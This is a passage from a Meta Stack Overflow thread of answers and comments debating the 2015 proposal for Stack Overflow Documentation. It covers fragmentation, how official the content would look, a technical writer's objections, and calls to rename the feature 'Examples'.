These all seem like really good problems to have. In that any problem that arises due to having too much good documentation is, in some sense, worth having. – Shog9 Aug 31 '15 at 15:57
One of the problems I have with even really great documentation is that it tends to lack real-world examples. Lately, I've been using Google to find out how to use language features that I haven't fully grasped. Often one of the results is a Stack Overflow question. I'm biased, but the answers to a real world question tend to provide better help than the often abstract official documentation. Examples are the overlooked (and I think revolutionary) key to this proposal. – Jon Ericson♦ Aug 31 '15 at 16:18
@NickLarsen: "In the long run, we would like to be the official source of documentation for all the things." - that's exactly what I'm concerned about. It would become a single point of failure, and a single point of control. Diverse and decentralised systems are safer and fairer. I'd love if you help to provide 21st-century-adequate documentation tools to the developer community, but I wouldn't like if they're hosted by a single company. Even if it's one that is not turning evil. – Bergi Aug 31 '15 at 16:48
If the end result of SO documentation is "documentation everywhere else on the internet is better than we could ever provide" then Mission Accomplished. I'll delete the code myself. More practically, I expect that if there's no demand for documentation for X (because X's docs are good) nobody will ask for them, and nobody will create them. – Kevin Montrose♦ Aug 31 '15 at 17:02
@KevinMontrose "[If] documentation everywhere else on the internet [becomes] better than we could ever provide then Mission Accomplished. I'll delete the code myself." -- That might not be so simple. A regular occurrence at Wikibooks are deletion requests along the lines of "we moved the book to a more appropriate platform, can you delete the obsolete copy here?", with the default reply by the community being "The CC license is irrevocable, we might develop the text in a different direction, there is no reason to delete it". How would we handle such scenarios here? – duplode Aug 31 '15 at 17:44
@duplode if the community cannot be convinced the alternative is better, why should the community delete it? And vice versa, if the community is convinced to shutdown a section how (and why) would we stop them? I know we're discussing hypothetical cases, but I have trouble imagining a scenario where a strictly superior alternative is presented and it fails to convince a majority of contributors to move. Put another way: we already delete sites, tags, users, and questions. I'm not too concerned about documentation being somehow (and uniquely) un-delete-able if merited. – Kevin Montrose♦ Aug 31 '15 at 17:51
So, most of the concerns voiced have been around "where are the lines". I think one thing this answer demonstrates is that we need a follow up post that lays down some more of the "rules and guidelines" we've imagined exist. Would you agree @Stijn? – Kevin Montrose♦ Aug 31 '15 at 20:12
I’m also not completely convinced that having another prominent contender will not split up the documentation-willing userbase. For example for web stuff, we already have Wikis like WebPlatform and MDN, and other strong platforms like MSDN or even devdocs competing with each other; and neither platform is really exhaustive on most stuff. – poke Aug 31 '15 at 21:07
@NickLarsen "In the long run, we would like to be the official source of documentation for all the things." I think this is overly ambitious and will fail. The reasons are that the producer of code is the official source of documentation and that SO has a nice plattform but maybe not the best suited for all ways of documentation. Also it would require an awful lot of effort and commitment which is difficult to imagine with volunteers. I think that smaller goals are more realistic and helpful. – Trilarion Sep 1 '15 at 7:32
Agreed. I would be much more enthusiastic about this proposal if the goal were to encourage/facilitate collaboration with maintainers of existing documentation (especially--though not limited to--"official" documentation). This would have the dual benefit of improving official documentation and providing SO Documentation a lot of initial content. "Usurping" should be considered a tactic of last resort, or an unfortunate accident. Also, this strikes me as related: xkcd.com/927 – Kyle Strand Sep 1 '15 at 18:44
@KevinMontrose: "I expect that if there's no demand for documentation for X (because X's docs are good) nobody will ask for them, and nobody will create them." I worry that rep miners would simply copy the official docs; lots of people will search on the Docs site and find and upvote the copies. I guess the community would flag this and moderators would delete the copy, but it will be confusing to users, and will happen continually. – Bennett McElwee Sep 1 '15 at 23:20
I don't want to be too negative about this idea, but it does make me uneasy. The main issue is how it blurs the line between official documentation and community-contributed content. Explaining a bit further: a while ago someone proposed that Hackage (the main repository of Haskell libraries) should make the symmetrical move and add user comments to the API documentation, perhaps with wiki curation a la Stack Overflow. I replied with the following comment:
I see your point, but when I go to Hackage I expect to find canon, word-of-God from the developers, and not a blooming garden of possibly conflicting advice (as expected in /r/haskell or other discussion platforms).
Evidently the concern is not as serious for what we are discussing here, as Stack Overflow is (at least in principle) not an official part of any project. The core issue, however, is the same. As I see it, documentation, be it good or bad, is canon, information vetted by the developers. Treating user-submitted content as documentation risks confusion, obsolescence and, as Stijn points out, fragmentation. There might be effective ways to avoid that, but I would suggest treading carefully.
duplodeduplode
Fair point. I know I'd be pretty disillusioned if I ever found confusing, obsolete or fragmented information on a developer's official site. – Shog9 Aug 31 '15 at 16:08
@Shog9 lol. We're being chipper today, aren't we? :) – Pekka Aug 31 '15 at 16:09
This whole discussion is bringing back unpleasant memories of installing MSDN from cd-rom. – Shog9 Aug 31 '15 at 16:10
This is a valid point. Our approach is entirely based on serving the immediate needs of developers in the sense of "I searched google for a problem I'm having right now", with enough effort put into the back end to support the "I want to learn everything there is to know about this thing". "Official" documentation doesn't really matter to the user in the first case, I just want my problem solved and as fast as possible. I'd also argue that usually best practices are the result of people using it how they use it, not just how the developer wants it to be used. – Nick Larsen♦ Aug 31 '15 at 16:20
@Pekka웃 But this then brings us to another problem: Who is an "official" contributor? What's the threshold? On the Internet, nobody knows you're a dog. Also, FFmpeg, Libav, or both? Apache OpenOffice vs LibreOffice? eglibc vs. glibc? egcs vs. gcc? Adjudging who is or is not an "official" contributor rapidly brings into play questions of anonymity, open-source project politics and duplication, especially after controversial forks. – Iwillnotexist Idonotexist Aug 31 '15 at 17:11
I don't think we're blurring the line very much, it's not as if we'll be saying "we're the official .net docs", and we won't be co-opting anyone's branding or anything nefarious. SO Documentation will look no more official than SO Q&A does; if a project wishes to endorse SO they could (I mean, long term; I don't want any endorsements until we're out of beta). – Kevin Montrose♦ Aug 31 '15 at 17:26
Agreed. A good bad example is the "official" php-doc at php.net. – alk Aug 31 '15 at 17:50
How would be handled the foreseeable controversial articles? If mr. X posts his solution and mr. Y posts an opposite one, what it would be seen like? Based upon users voting? – Little Santi Aug 31 '15 at 19:03
in my experience the examples provided by official documentation rarely provide the use case you are looking for. The official source will provide the "basic" or "1-path" example. Hopefully the SO version will provide the examples for other use-cases and/or for other combinations of code. – John M Aug 31 '15 at 19:20
@KevinMontrose - Nick said the opposite: "we would like to be the official source of documentation for all the things". I certainly think there is a need for community provided documentation augmentation, but I've also seen problems arise when non-authoritative sources try to look like official documentation. I think this endeavor can be a great success, as long as it addresses the fragmentation and officiality concerns. – gilly3 Aug 31 '15 at 20:03
@gilly3 Nick's saying "if, in the future, the actual owners of the product/library/whatever officially declare us to be the docs that would be awesome"; not that we are going to declare ourselves the official docs. – Kevin Montrose♦ Aug 31 '15 at 20:05
Just because we're not canonical doesn't mean we're not extremely helpful. Just like any other SO answer, it's up to the readers to decide how helpful something is--if it's bad documentation, it will get downvoted or edited. End of story. No real problem there. – levininja Aug 31 '15 at 20:38
Also, no matter how carefully you label these as unofficial documentation, we all know how carefully new programmers in a hurry pay attention to that stuff. A project like this will surely create at least some complaints to the developers of a project about "incorrect" documentation" that exists here. It would not have to be a flood of such complaints to really sour the folks developing the tools we'd be trying to "help" by providing documentation. – joran Sep 1 '15 at 16:43
The beauty of Stack Overflow is that, even though users can submit a "blooming garden of conflicting advice", the voting system takes care of it. People will upvote what is useful and correct, and downvote what is incorrect or unclear. – jtbandes Sep 1 '15 at 20:22
For the php.net example, its docs aren't bad [might be biased as core php-src dev], but it often lacks real-world examples and user comments sometimes are better docs than the actual docs. Also, I feel like php.net is suffering from a too high bar to edit. Yes, there's edit.php.net, but it's clumsy, and nobody likes that docbook syntax... [Sure, once you perfectly know that syntax, fine...]. Hence I definitely can appreciate an attempt for better examples/docs. Might even lead to php.net doc maintainers to search examples here… maybe… IMO, we really need to give it a try and we'll see. – bwoebi Sep 1 '15 at 21:57
Like Stijn, I'm concerned about fragmentation. However, I love one portion of this: examples. To me, great documentation has non-trivial examples of how a method or group of methods work together. It shows more than a single line of code and explains what's happening.
It's one thing to read a document that accurately describes how a complicated class works or how a method with tons of parameters does its magic. It's entirely another thing to see working examples of how they work.
If this can provide those examples and do it in a way that complements the documentation of popular (and unpopular) projects, I'll be one happy developer.
Andy♦Andy
totally agreed. When I google a class or a function, what comes up is often an official reference followed by a stackoverflow question. Most of the times I click on the question looking for a usage example. – Gabriele Petronella Aug 31 '15 at 16:00
So maybe just examples instead of full documentation? And the next step would be tutorials... – Trilarion Aug 31 '15 at 16:06
So I was thinking along these lines as well. It's the examples that will add true value. But that means that the examples need to be peer-reviewed (duh) but also complete and self-contained. What needs to be there to make the example work needs to be there, or it's not really useful to the person that needs the example. So, there must be enough sample data provided to make that algorithm function, not just the mathematical markup of the theory. – Shawn Mehan Aug 31 '15 at 16:25
Some of the MSDN I use has lots of detail, but no examples and no guidance on how to use the software. So I support examples and tutorials. – AdrianHHH Aug 31 '15 at 16:32
Agreed AdrianHHH - Starting out on Microsoft products without examples and guidance, and just straight up nearly-meaningless (for a noob) documentation on MSDN, is harder than it should be. – JackArbiter Aug 31 '15 at 16:38
Good examples are essential. Not every piece of working code is a good example, so we'll need peer review and editing. An example should be the smallest body of (realistic) code that demonstrates the feature, and everything important should have inline comments. In my experience the push for this comes from two places: trying to actually use the example (and realizing it's lacking in some of this) or trying to *explain the topic in words" (write documentation). We shouldn't be writing tons of text, but we probably don't want "none" either. (And yeah, then there are tutorials.) – Monica Cellio Aug 31 '15 at 20:36
Examples may be the best thing about this, but I think it should in no way be limited to examples. If the developers of the product didn't bother to document HOW something works, and someone can provide that based on their understanding of the source code, it would be better to have that than not. – levininja Aug 31 '15 at 20:36
@Trilarion Yes examples and tutorials are probably a better way to approach this. Documentation is not very helpful without a code structure to go by – hLk Sep 1 '15 at 3:27
I have one major problem with tutorials: they're tutorials. They end abruptly, are full of holes and tend to tell people where to click but not why, or perhaps even more importantly why click there and leave out the part that explains why not to click somewhere else. The people who read tutorials are generally the people who need far more than tutorials (and end up on SO), and the people who can benefit from tutorials generally don't read them because they only actually need a tiny subsection of it that they didn't commit to memory yet. Lets write guides instead. – Gimby Sep 1 '15 at 11:22
@Gimby Quite right on some tutorials. But good tutorials can be written to include the whys and the why nots and the alternatives. – AdrianHHH Sep 1 '15 at 11:31
@Trilarion and many others. So, we've envisioned Documentation as containing several different "sorts" of pages (all in the same style view, with required examples and optional sections); including short Tutorials (and things like "Getting Started" or "Hello World"). Short Tutorials fit in this model, though long ones (several pages) don't really. I think we'll be expanding upon this, and a bunch of other stuff, in a follow up meta post. – Kevin Montrose♦ Sep 1 '15 at 15:17
@KevinMontrose I see. It might not be what we others here envision. Tutorials are often long. Short tutorials might only be examples. Even good examples might become several pages long. Something that is shorter might be typical use case of a function instead of full blown examples. Maybe that is what you mean? I will certainly follow further meta posts. – Trilarion Sep 1 '15 at 18:59
I applaud this effort, and have often wondered why there weren't more substantive usage examples available. I also realize this is not just for one language, but as a concrete example the major problem i find when consulting Google's Android SDK docs is the abysmal lack of usage examples. My searches almost always necessitate locating a suitable reference elsewhere to see and understand what should actually be done. – Zeus56 Sep 1 '15 at 19:04
@KevinMontrose - Trying to balance between snarky rhetoric trying for witticism and an actual question, how well documented do you expect Documentation to be? Well-written documentation should have a good style guide; something better than "put examples here". How do you plan to address that, if at all? – J.D. Ray Sep 3 '15 at 21:42
Instead of Documentations, Examples and Tutorials are a better choice, IMO. Because we don't come to SO to read a lot of documents, we just want precise answers and solutions. SO was meant to provide solutions and not the background history of why and what. – Sorrel Vesper Sep 6 '15 at 14:48
I say the following from a technical writer's perspective. Creating software documentation is my job.
TL;DR at the bottom.
Do you know why you see so much documentation like that? Because the technical writers begged the developers to answer an email or show up at a meeting for months, and the developers simply refused. And then it's time to get everything ready for the final build, and what are we supposed to do? Leave it blank? Better that it look sort of okay but not really be too useful than look obviously incomplete, because the devs sure aren't getting fired for failing to do their jobs (yes, documenting your work is part of your job), and we have no plans to take the fall for their failure.
The answer to this is the same as above: everything we get comes from the developers. All we do is turn it into comprehensible English, format it, and just generally clean it up. I'm sure you all know the saying, "Garbage In, Garbage Out"... if the devs don't provide the writers with some examples, the documentation will not contain examples. Since nobody likes doing extra work, the devs will only provide examples if Marketing forces them to do so, which only happens after users have been complaining about the lack of examples for a few releases. And that assumes that the company even has the resources to do this (e.g., "all of the examples for your language-agnostic tool are in language X. I want examples in language Y" when all the devs and writers are already pretty busy).
The documentation is as "complete" as we can make it. Some devs are awesome and provide a ton of clear information that we can easily turn into documentation. Other devs... not so much. Regarding the way that documentation is tied to release cycles: yes, that is certainly true.
That sounds like the sort of documentation that has never been touched by a professional writer. That's not a condemnation - sometimes there aren't any writers available, for a variety of possible reasons. However, that means that the documentation is going to be a direct reflection of the developer's attitude toward documentation. If a developer thinks that Javadocs are enough, that's what you'll get. If a developer sees the importance of a more modern layout (maybe they're a professional technical writer who codes in their spare time, like myself), they might actually spend a small fraction of their development time putting together some nice documentation.
One of the things I like about SO is its attempt at concision (think of it as JIT compilation or lazy evaluation): instead of finding all potentially useful pieces of information and making them available on SO just in case, we try to limit it to things that are verifiably useful to some degree. How is that determined? It's simple: if someone actually encounters an issue, that verifies that someone might run into that issue. They then post a question. A "broader place for artifacts to live," however, sounds suspiciously close to hoarding. What if there's a GetRowEnumerator() that no one has ever actually needed to use? Would such a thing belong on SO? Should such a thing be included in Documentation?
Perhaps you haven't realized, but SO has basically become de facto documentation, even for products/projects that do have official documentation. Will you find the very basics; the things that are already very easy to find elsewhere (e.g. basic tutorials or how-to documents)? Nope! But that's okay, because SO doesn't need to duplicate the Internet. We only do the tough parts (ideally).
So, the people who ask a Question instead of Googling their Question's intended title are suddenly going to start Googling, just because there would be even more results in the Google search they don't want to run?
This is known as "kicking the can down the road." When the Stack Overflow Documentation is, through the significant effort of many developers (who are now inexplicably excited about writing documentation), reasonably useful, thorough, and detailed, how will people pay it forward? Adding another cell block to the prison won't improve the K-12 education system or the economy.
Or we’re wrong.
Unfortunately, I think that's the case.
But we think it’s worth having a go at it.
...and you're doing it anyway. Okay then.
TL;DR: I think the concept of adding "Documentation" to SO (or an adjoining site) is deeply flawed. It attempts to solve the problem of "developers don't like writing documentation" by having developers write documentation, and the problem of "people ask duplicate Questions instead of Googling" by expecting people to click a Documentation link in a Google search.
TigerhawkT3TigerhawkT3
We're asking the community about having a go at it anyway, rejection is a valid possibility. Most of this could apply to Q&A I think, many places had Q&A before SO (and many have it now) but their devs don't participate; and yet SO works. If people treat the Documentation section as a job, I agree it will fail. I also agree with What's #1 & #2. Completionist documentation doesn't interest me (I don't care about documenting every .ToString(); only stuff people actually need). And yes, lots of SO content is better than docs; but we also turn away a lot of it as too broad, docs can fix that. – Kevin Montrose♦ Aug 31 '15 at 18:46
I also think you vastly over estimate how many existing docs, when they show up in Google results at all, actually help you when you click them. Plenty of folks search around, and then end up asking questions anyway; we can't help those that don't Google at all, but we can help some of those who do. – Kevin Montrose♦ Aug 31 '15 at 18:47
With due respect to your actual experience writing docs, I think that your perspective "It attempts to solve the problem of 'developers don't like writing documentation' by having developers write documentation" is off. There's actually two sets of devs in this scenario: the ones writing the tools, who don't like writing docs, and others who are using the tools and who may indeed like writing them (and may be good at it). The latter, I think, are the people already writing answers on SO. – jscs Aug 31 '15 at 18:55
Please, no reductio ad absurdum. – TigerhawkT3 Aug 31 '15 at 18:57
Sorry; I guess I'm a bit defensive about documentation. People pay for software/hardware, not documentation, so it can be difficult to justify a writer's value to their organization - particularly an organization without Apple-tier petty cash. This "SO Documentation" looks like bulldozing a building to fix the broken windows. We could make very nice windows if people would let us. You want to create value by preemptively improving documentation? You can get better documentation by telling the world that documentation has value. – TigerhawkT3 Aug 31 '15 at 20:21
Also, if people saw more financial and practical value in documentation, I would possibly still have a job next week. – TigerhawkT3 Aug 31 '15 at 20:27
@TigerhawkT3, I sympathize, but your position seems extremely biased -- considering you literally feel financial competition by this free alternative. – Kirk Woll Aug 31 '15 at 20:59
Of course I'm biased. That is the source of my expertise. However, I'm trying to explain that the reason there's so much bad documentation is because people don't care enough about documentation. It's like telling the construction worker not to bother with the broken windows, and then complaining about the broken windows. And then, of course, telling the construction worker that you don't trust what he says because you think he's just mad about the plastic wrap being used as a window substitute because people really do need windows. – TigerhawkT3 Aug 31 '15 at 21:04
Disagree with current way answer is phrased: the proposal as I see it is to let people who care to write documentation (generally both sides are developers which makes it even more confusing). People who use the product have much better chance to create useful documentation compared to original developer who may have idea how to use the product/library (especially for large organizations). – Alexei Levenkov Aug 31 '15 at 21:33
I think this answer merges two types of developer: those who developer the software and those who use the software. Only the first group matches your explanation. There are many developers who use software written by others and write blogs about what they are doing. These people like documenting things. But that writing is scattered and has little or no peer review. I see the proposal here as providing a place where writers can contribute useful stuff without needing their own blog that may or may not be easy to find and that, probably, has no peer reviews. – AdrianHHH Sep 1 '15 at 9:08
While I agree with many of your points and share many of your concerns, a remark regarding the "...attempts to solve the problem of "developers don't like writing documentation" by having developers write documentation" part (in addition to some things that others said about this already) : You seem to underestimate the value of useless internet "reputation" points. Some people really go crazy for some rep. (That's why I think that the rep handling is a crucial point as well in this proposal...) – Marco13 Sep 1 '15 at 10:51
You seem to be equating the proposed documentation with documentation written internally, whereas a far fairer thing would be to equate it with other third-party documentation/wiki sites. Unless you think no third-party documentation should ever exist? Yes, it'd be nice if everyone in charge of deciding which language/product to use insisted their vendors had good internal documentation written by technical writers, but that's a dreamworld. We live in the real world where third-party documentation is frequently needed by developers, and SO is here to help developers get work done. – Jo Douglass Sep 1 '15 at 11:42
Sorry if this cannibalises your job. But honestly, if you think 'the devs wouldn't get back to me' is a justification for opaque, unhelpful writing of any kind, perhaps you should find another. – Jonathan_W Sep 1 '15 at 14:53
I see your frustration but, with respect, I don't think the documentation world has to be as grim as you're painting. I'm a technical writer too, and I routinely read source code, use the software, push back against counter-intuitive or inconsistent design decisions, and ask the developers "why?" & "how?". If documentation comes only at the end of the pipeline it's always going to be a struggle; the earlier you can get in there and be part of the ongoing discussions, the better. Also, I get better results from "I see X in the code; is that right?" than "tell me" -- even when I'm very wrong. – Monica Cellio Sep 1 '15 at 17:53
It is a little shocking how easily people are slipping into ad hominem. The main takeaway here is not that TigerhawkT3 is concerned about his options in the job market, but that Stack Overflow Documentation cannot possibly be an ultimate solution to the documentation problem, as the pitch for this proposal makes it sound like. – duplode Sep 1 '15 at 18:34
I was going to post more thoughts in comments, but an answer fits this better.
I am intrigued by this. I think it could go places. I really like the focus on examples than a bunch of words. Bunches of words (maybe) help highly experienced people. They don't help people who are looking for "how do I do X?" and they often don't help the more experienced people since they already know most of the blah blah blah.
Misc thoughts:
Keep in mind how people normally arrive at documentation. I normally arrive at it through google, something like "[language] [functionality] [example]" as a search parameter. Unless this documentation is really comprehensive, I will probably still search that way.
Ability to close questions as dup of documentation. This would be great, especially if you have a way to incentivize it somehow
Reputation: just a general thought, this is still "too early to tell" I'm sure but keep in mind that writing a good piece of documentation or example can be 10x the work of a simple "do this" answer.
Design the system for users wanting quality over quantity. Probably the main reason I don't post much on SO anymore is the firehose of low quality stuff. I like writing lengthy answers (which is probably why I like Workplace so much). This system should not be designed for people who like cranking out 20 answers an hour. It should be designed for creating quality content, not just quantity. This seems obvious but SO has a serious problem with this because of the firehose effect.
Adam Lear♦
enderlandenderland
All correct. The thing you left off is "there is only one topic for each thing" so you need to provide sufficient incentive for editing of existing content. – Nick Larsen♦ Aug 31 '15 at 17:43
@NickLarsen it depends greatly on what that topic is... if you are talking about, "how do I use an array?" there may be dozens of scenarios you want examples for. Which might be another related comment, this needs to have a clear scope for each topic and how that will all work. You are going to be using very common words to people, "Documentation" is a widely understood phrase, and if SO's model for that will be different that needs to be clearly figured out. Or you'll get the "comments aren't really comments" problem, too. – enderland Aug 31 '15 at 17:50
Comments are one of the things that sucks about existing documentation, so we're not really going to have them. Instead there will be a flagging system or you can just directly fix the problems you see. Don't think of topics as one to one with examples, a topic has many examples, but not too many or else you really need two topics. If these kinds of design choices seem interesting to you, please join the beta list. – Nick Larsen♦ Aug 31 '15 at 17:54
@NickLarsen I mean more the mismatch between how SE uses "Comments" and how the rest of the internet uses them. I'm pointing out that if this is called "documentation" but is really something different, that'll be a naming and branding problem – enderland Aug 31 '15 at 17:55
@enderland I do not believe we should ban short documentations however, as creating a documentation can become a community effort. Someone writes a small example, and someone else adds to it. – Jeroen Aug 31 '15 at 19:00
People should use alternative search engines more often. Virtually all posts here mention Google as the only one ☹ – mirabilos Aug 31 '15 at 19:38
@mirabilos I'm still waiting for Google to let me down... – enderland Aug 31 '15 at 19:49
1- I'm not sure that closing question as duplicate of documentation is a good idea. 2- What is Workplace ? – Xavier Combelle Aug 31 '15 at 19:54
@XavierCombelle To answer your second question, Workplace is another Stack Exchange site. – Kendra Aug 31 '15 at 20:06
@DanGetz I did, but I think the concept of a firehouse is a bit more fitting anyways, I'm picturing a hose spitting out houses which are on fire. Sometimes that is what SO feels like if you browse the "Newest" tabs. – enderland Aug 31 '15 at 20:12
@mirabilos: Compare "Kleenex", "Thermos", "Sellotape"/"Scotch tape", or "Xerox". "Google" has become a "genericized trademark". – jscs Aug 31 '15 at 23:03
While I would also want to be able to close questions as dupes of documentation entries, I do see the issue that documentation pages are not necessarily as static as they would need to be for that purpose. It’s simple for questions: Nobody is going to edit a question completely, so using other questions as dupe targets is fine. But documentation is likely to change a lot more; for example someone decides to split up an existing page into multiple separate topics (because there is so much more to write about it). That is a good thing, but questions having the page as dupe target will break. – poke Sep 1 '15 at 13:24
@NickLarsen My money's on "we don't need comments" being the new site's "we don't need meta". If you don't have comments as comments, you'll need some other mechanism to fulfill the role that comments normally cover, and I'm skeptical that flagging and "fix it yourself" is going to cut it. – R.M. Sep 8 '15 at 20:02
The discussion here about the semantics of "comments" cracks me up and is particularly ironic considering the semantic wraparound inherent in meta. Anywhere else on SE, 3+ comments in a discussion flow: Instant banhammer on the discussion under the mantra "Take it to chat, guys"; On meta: [endless, mishmashed, hard-to-parse, semi-contextless chatter -- like this very discussion]; Anywhere else on the internet: [threaded, deliberate extended discussions]. I wonder what will SO's semantic wraparound for "docs" and "examples" and "tutorials" and "comments" be? – zxq9 Sep 16 '15 at 15:48
I also wonder how many minutes from the moment of launch before any docs site is overrun with god-tier editors with nothing better to do than proclaim themselves Protector of the Realm and render it a Wikipedia-level edit-unfriendly environment. That'll be swell. That and the low-quality firehose (in interesting opposition to one another) are already issues that drive confusion, annoyance, and feelings of repulsion in SE sites. I don't see how docs would be any better, especially since they will compete with official docs. This is a pile of hard problems. – zxq9 Sep 16 '15 at 15:51
If this is to be a success, I think it needs to address concrete problems that active question-answerers currently have with Stack Overflow. Problems like
The endless flood of duplicate questions
... which we know perfectly well have already been answered but it's hard to find the canonical duplicate
No good place to put canonical explanations of things that someone didn't actually ask about but need to know anyway as a consequence of their question, e.g. "Never use scanf", "The type-based aliasing rules are asymmetric," and "You should consider using something other than a shell script to solve this problem" (to pick three things I find myself saying over and over and over again)
The longer you've been on the site, the harder it is to find interesting questions to answer
Address these problems and you're more likely to get a critical mass of interested writers out of the starting gate.
I also want to endorse what several other people have said about making sure that documentation finds its way back to upstream open-source projects. Many such projects know their documentation is terrible but have neither the expertise nor the brain cycles to do anything about it. A community-of-practice that knows how to write good documentation for anything and how to cooperate with upstreams in getting it integrated could go a long way to solving that problem, and the SO community could be that community -- but it will take active cat-herding in that direction. (And I know I would feel better about writing docs on a third-party site myself if there were gnomes making sure it got pushed up to the first party.) Note that the appropriate licensing for docs going upstream is not one-size-fits-all; many projects want explicit permission to redistribute under their licensing and have varying degrees of paperwork that needs filed.
And finally, please look at existing community-contributed documentation for both what to do and what NOT to do. The best existing (semi-)community-written documentation site I'm aware of is MDN,1 and the go-to place for what not to do is of course the official PHP documentation with its cesspit of bad user-submitted advice at the bottom of every single page...
1 I do not know how much of this documentation is written by MozCo employees versus the larger community; I do know there is an organizational unit devoted to making sure it doesn't suck.
zwolzwol
"making sure that documentation finds its way back to upstream open-source projects" Yes, this. IMO this would mostly solve the fragmentation problem people have been expressing concern over. – Ajedi32 Sep 1 '15 at 16:26
I've always thought that the PHP documentation is really good, probably the languages greatest strength, as long as you ignore the comments. I particularly like the way you can type php.net/[function-name] into your address bar and get to the right page in one step. – rjmunro Sep 7 '15 at 11:12
@rjmunro Yes, the PHP documentation itself is fine. It's only the user-submitted commentary, and in particular, the way the PHP core organization neglects it and considers themselves not responsible for its quality, that should serve as a cautionary tale for this proposal. – zwol Sep 7 '15 at 14:38
Oh good, I'm not the only person who thinks the PHP docco (and comment process) is a cesspit. The problem, as I see it, is that people don't comment to improve the docco - they comment to advertise their fancy workaround/solution/hack/bodge for a bug/feature that may or may not exist. I would rather read experts-exchange than a comment thread on php.net. – Juffy Sep 8 '15 at 6:23
@Juffy PHP documentation are very good structured (tree structure of reference and structure of each topic itself), has great many versions and languages support, has both good and bad comments and the way to up/down vote those comments. And more valuable it has platform for community to contribute and improve this documentation, i think, it worth having to look at it's good parts and take all good experience it has. – Mikl Sep 9 '15 at 22:31
@Mikl - sorry, I should have restricted that just to the comment system. As a PHP noob though, the comments are generally massively unhelpful for the page they're on. Trivial example here - this is the friggin' contents page for the Variables section, not the page on how to initialise variables in strange and interesting ways. Why is there any comments on a page with no content other than four links? There's even a specific page for variable variables, but that comment isn't there. /rant – Juffy Sep 10 '15 at 1:30
@Juffy Why did I click that link. Why. goes in search of the brain bleach – zwol Sep 10 '15 at 1:41
@Juffy it's a good example of problem with comments management, if you need to divide one page into several and change the page type to category for this sub pages. I think in previous version there was one big page for variables. By the way, this problem can be on every platform, and on SO too, the example is there is some near the same questions that has different number of valuable answers and to read all of this you need to go throw all of this questions. – Mikl Sep 10 '15 at 1:58
@Juffy (last part of previos comment) In this situation with php docs it's simpler, if you learn php you can just go throw all of it's basic reference (it can be done very quickly), and you will have nearly all information you need at first steps. – Mikl Sep 10 '15 at 1:59
Name the expansion “Examples” instead of “Documentation”
If you ask most SO contributors if they’re good at writing “documentation”, they’ll say No.
And if you ask most SO users (us) what they’d like to have, they’re not going to say “good documentation“. Instead, as Andy suggested and as Zanon also note, what users (we) always really want are good examples.
And writing good examples is actually what good SO contributors are already good at. Clearly, the best answers to SO questions are very often the ones with great examples.
And in order to provide a good example, you have to not only make the example code, but you have to explain the code—explain how it works, and why.
Giving good explanations like that for examples is, essentially, providing “documentation”. In the end, that’s what good documentation is. The documentation just falls out from the examples.
But calling it documentation doesn’t win us anything. Most of us in our work lives don’t like being asked (told) to produce “documentation” as such—and resent having to spend time on it instead of coding. In fact I’d argue that most of us really don’t even like the word “documentation“.
But we all do like explaining things—that’s why we spend time on SO! And we all do like giving each other examples—and explaining those examples.
So, names can make a really big difference in the success of anything. And given that fact, I think this proposed expansion of SO will have a much higher chance of success and of getting off on the right foot to begin if it has the right name.
So let’s please not name it Documentation. Let’s just name it Examples.
sideshowbarkersideshowbarker
I agree. I think they're vastly underestimating the amount of baggage that word carries. There will be very few discussions of this project on its own merits if it has to bear that burden. – Frank Sep 1 '15 at 15:32
"If you ask most SO contributors if they’re good at writing “documentation”, they’ll say No." What evidence do you have for this? – kdbanman Sep 1 '15 at 18:53
I agree. It seems pretty clear that many of the negative responses here are due to the fact that "documentation" sounds like a duplication. I think that easily searchable "objective-oriented" examples are very useful without duplicating official docs. I also think this follows the Agile principle of working software being more valuable than comprehensive documentation. – RustyTheBoyRobot Sep 3 '15 at 23:13
I agree. Nobody likes documentation (its always wrong) and nobody likes writing documentation (it sounds too much like "work"). On the other hand, everyone likes examples that work and enlighten. Examples benefit the author because it is an opportunity to show off and help others at the same time. Readers like examples because it gets to the point. – TomOnTime Sep 9 '15 at 15:39
Exactly what I wanted to propose after reading about the idea. Examples would be the best part of documentation anyway. Documentation as I see it also implies some kind of completeness which will probably never be achieved in SO documentation. Examples do not have this connotation. – Mifeet Sep 12 '15 at 15:23
And explanations. Most of the Content Management Systems I'm specialised in developing are basically just .Net, but with a rigid framework - so any .Net dev could pick one up easily if they just had a high level overview of the concepts behind the system. And as an experienced developer I sure as hell could use a repository of examples for when I forget what class to inherit or something. – Dar Brett Sep 16 '15 at 14:41
I'd have to agree with this to a great extent (that "Documentation" might drive some decent contributors away) - not sure whether "Examples" is clearly the best choice, but something along those lines. I don't know - "E.G." comes to mind as having that same meaning, but being similar in tone to "Stack Overflow", "Super User", and "Server Fault" -- but in slightly different words, often what is already available from developers is basically syntax - it's a thing that's built in and testable from many IDEs even! What is most often missing is examples. – Code Jockey Dec 4 '15 at 14:42
I do, however think that any such system should encourage syntax to be specified. Smaller software/API projects might use such a site solely to host their documentation. If it ends up making sense, larger and larger projects might migrate to this system or (through some sort of docs/e.g API) include examples from this site in their official documentation, where they simply provide the structure and summaries that are relatively easily testable and then outsource the examples (?!?!?) – Code Jockey Dec 4 '15 at 14:48
200% this. Examples = good. Documentation = been there, done that, bought the T-shirt. – NateJ May 23 '17 at 16:57
This is a really exciting idea.
But I have a few concerns:
"Versions" are Arbitrary
.NET has major releases, but that doesn't necessarily mean that the individual libraries within the product follow those version numbers.
For example, .NET 4.5.1 was rolled out fairly recently, but the "Product Version" of the Accessibility.DLL file is 4.0.30319.18020. Meanwhile, on MSDN, the documentation for versions 4.5 and 4.6 of the Accessibility namespace are lumped together, though the URL shows version 110.
So which version number is correct? Only the authors of the library can truly understand the significance behind a "version" and how that impacts individual parts of a system.
And then there's open source projects and their many branches and forks. How does one keep track of version numbers in such messy situations?
Not all documentation can be neatly tucked under one heading
The best documentation provides broad overviews and then connects the dots between different parts of the API. Documenting functions and parameters will only ever cover a small part of an API's functionality.
Recently I tried to wrap my head around OAuth. While the individual query parameters were pretty well documented, what I really needed was a detailed overview of the flow for my particular (uncommon) scenario.
Looking at .NET again, there are some libraries that overlap one another. I depend on documentation to explain the differences between the libraries and to help me determine which fits my needs. It's just shades of gray from that to a comparison of VB, C#, C++ and F#.
Would this fit under SO's documentation? Just imagine the battles between those who say "yes" and those who say "no". It's uncharted territory and it's going to get ugly before it gets better.
Does SO want to be everyone's documentation host?
Already a lot of major technologies point developer to Stack Overflow to get their questions answered (in lieu of a standard community):
